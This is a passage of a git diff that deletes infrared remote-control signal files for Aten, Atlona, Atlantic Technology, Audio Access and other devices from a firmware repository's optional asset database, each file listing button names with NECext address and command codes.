KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: caption -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: mts -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: rot -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir deleted file mode 100644 index 0cea77036..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir deleted file mode 100644 index 93aefa099..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: SIGNAL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: SYS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: FUNC -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: D_A -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: TV_RADIO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: R_L -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir deleted file mode 100644 index 521d858c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 09 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 10 00 00 00 -# -name: AUX_2 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 13 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 1A 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 1B 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 1F 00 00 00 -# -name: THEATER_COMP. -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 40 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 46 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 4A 00 00 00 -# -name: AUX_1 -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 52 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 58 00 00 00 -# -name: TRIM -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 5C 00 00 00 -# -name: TONE -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir deleted file mode 100644 index 95a136749..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 00 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 03 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 03 00 00 00 -# -name: NIGHT_MODE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 12 00 00 00 -# -name: MULTI_ZONE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 22 00 00 00 -# -name: PRESET_SCAN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 2A 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 32 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 48 00 00 00 -# -name: SIX_CH._DIRECT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 52 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 62 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 72 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 40 40 00 00 -command: A8 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 40 40 00 00 -command: B8 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: CA 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: D2 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 40 40 00 00 -command: F2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir deleted file mode 100644 index 20ace1cab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3A 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir deleted file mode 100644 index 8a5815475..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: TVGUIDE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: P+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: P- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: V+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: V- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: TELETEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: RCL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir deleted file mode 100644 index dc3f98863..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir +++ /dev/null @@ -1,386 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: IN_1_OUT_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 80 00 00 00 -# -name: IN_2_OUT_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 81 00 00 00 -# -name: IN_3_OUT_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 82 00 00 00 -# -name: IN_4_OUT_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 83 00 00 00 -# -name: IN_5_OUT_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 84 00 00 00 -# -name: IN_6_OUT_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 85 00 00 00 -# -name: IN_7_OUT_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 86 00 00 00 -# -name: IN_8_OUT_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 87 00 00 00 -# -name: IN_1_OUT_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 90 00 00 00 -# -name: IN_2_OUT_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 91 00 00 00 -# -name: IN_3_OUT_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 92 00 00 00 -# -name: IN_4_OUT_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 93 00 00 00 -# -name: IN_5_OUT_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 94 00 00 00 -# -name: IN_6_OUT_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 95 00 00 00 -# -name: IN_7_OUT_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 96 00 00 00 -# -name: IN_8_OUT_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 97 00 00 00 -# -name: IN_1_OUT_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: A0 00 00 00 -# -name: IN_2_OUT_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: A1 00 00 00 -# -name: IN_3_OUT_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: A2 00 00 00 -# -name: IN_4_OUT_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: A3 00 00 00 -# -name: IN_5_OUT_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: A4 00 00 00 -# -name: IN_6_OUT_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: A5 00 00 00 -# -name: IN_7_OUT_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: A6 00 00 00 -# -name: IN_8_OUT_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: A7 00 00 00 -# -name: IN_1_OUT_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: B0 00 00 00 -# -name: IN_2_OUT_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: B1 00 00 00 -# -name: IN_3_OUT_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: B2 00 00 00 -# -name: IN_4_OUT_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: B3 00 00 00 -# -name: IN_5_OUT_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: B4 00 00 00 -# -name: IN_6_OUT_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: B5 00 00 00 -# -name: IN_7_OUT_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: B6 00 00 00 -# -name: IN_8_OUT_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: B7 00 00 00 -# -name: IN_1_OUT_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C0 00 00 00 -# -name: IN_2_OUT_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C1 00 00 00 -# -name: IN_3_OUT_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C2 00 00 00 -# -name: IN_4_OUT_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C3 00 00 00 -# -name: IN_5_OUT_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C4 00 00 00 -# -name: IN_6_OUT_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C5 00 00 00 -# -name: IN_7_OUT_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C6 00 00 00 -# -name: IN_8_OUT_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C7 00 00 00 -# -name: IN_1_OUT_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D0 00 00 00 -# -name: IN_2_OUT_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D1 00 00 00 -# -name: IN_3_OUT_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D2 00 00 00 -# -name: IN_4_OUT_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D3 00 00 00 -# -name: IN_5_OUT_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D4 00 00 00 -# -name: IN_6_OUT_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D5 00 00 00 -# -name: IN_7_OUT_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D6 00 00 00 -# -name: IN_8_OUT_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D7 00 00 00 -# -name: IN_1_OUT_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: E0 00 00 00 -# -name: IN_2_OUT_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: E1 00 00 00 -# -name: IN_3_OUT_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: E2 00 00 00 -# -name: IN_4_OUT_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: E3 00 00 00 -# -name: IN_5_OUT_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: E4 00 00 00 -# -name: IN_6_OUT_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: E5 00 00 00 -# -name: IN_7_OUT_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: E6 00 00 00 -# -name: IN_8_OUT_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: E7 00 00 00 -# -name: IN_1_OUT_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F0 00 00 00 -# -name: IN_2_OUT_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F1 00 00 00 -# -name: IN_3_OUT_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F2 00 00 00 -# -name: IN_4_OUT_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F3 00 00 00 -# -name: IN_5_OUT_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F4 00 00 00 -# -name: IN_6_OUT_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F5 00 00 00 -# -name: IN_7_OUT_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F6 00 00 00 -# -name: IN_8_OUT_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir deleted file mode 100644 index 7562bc3dd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OUTPUT_D:_INPUT_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: OUTPUT_A:_INPUT_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: OUTPUT_A:_INPUT_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: OUTPUT_A:_INPUT_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: OUTPUT_B:_INPUT_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: OUTPUT_B:_INPUT_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: OUTPUT_B:_INPUT_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: OUTPUT_C:_INPUT_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: OUTPUT_C:_INPUT_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: OUTPUT_C:_INPUT_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: OUTPUT_D:_INPUT_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: OUTPUT_D:_INPUT_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: OUTPUT_A:_INPUT_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: OUTPUT_C:_INPUT_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: OUTPUT_B:_INPUT_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: OUTPUT_D:_INPUT_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir deleted file mode 100644 index 386f17a5d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir deleted file mode 100644 index abaef89ec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir +++ /dev/null @@ -1,422 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SOURCE_1 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 80 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 80 00 00 00 -# -name: SOURCE_2 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 81 00 00 00 -# -name: CD-1 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 81 00 00 00 -# -name: SOURCE_3 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 82 00 00 00 -# -name: CD-2 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 82 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 82 00 00 00 -# -name: ALL/OFF -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 83 00 00 00 -# -name: ON_/_OFF -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 83 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 83 00 00 00 -# -name: SOURCE_6 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 84 00 00 00 -# -name: F1 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 84 00 00 00 -# -name: SOURCE_4 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 85 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 85 00 00 00 -# -name: SOURCE_5 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 86 00 00 00 -# -name: SOURCE_5A -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 86 00 00 00 -# -name: VID -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 86 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 86 00 00 00 -# -name: SOURCE_7 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 88 00 00 00 -# -name: F2 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 88 00 00 00 -# -name: SOURCE_8 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 8C 00 00 00 -# -name: F3 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 8C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 8D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 8E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 8F 00 00 00 -# -name: F4 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 90 00 00 00 -# -name: T/V -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 94 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 94 00 00 00 -# -name: CHANNEL_DN -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 95 00 00 00 -# -name: CH_DOWN 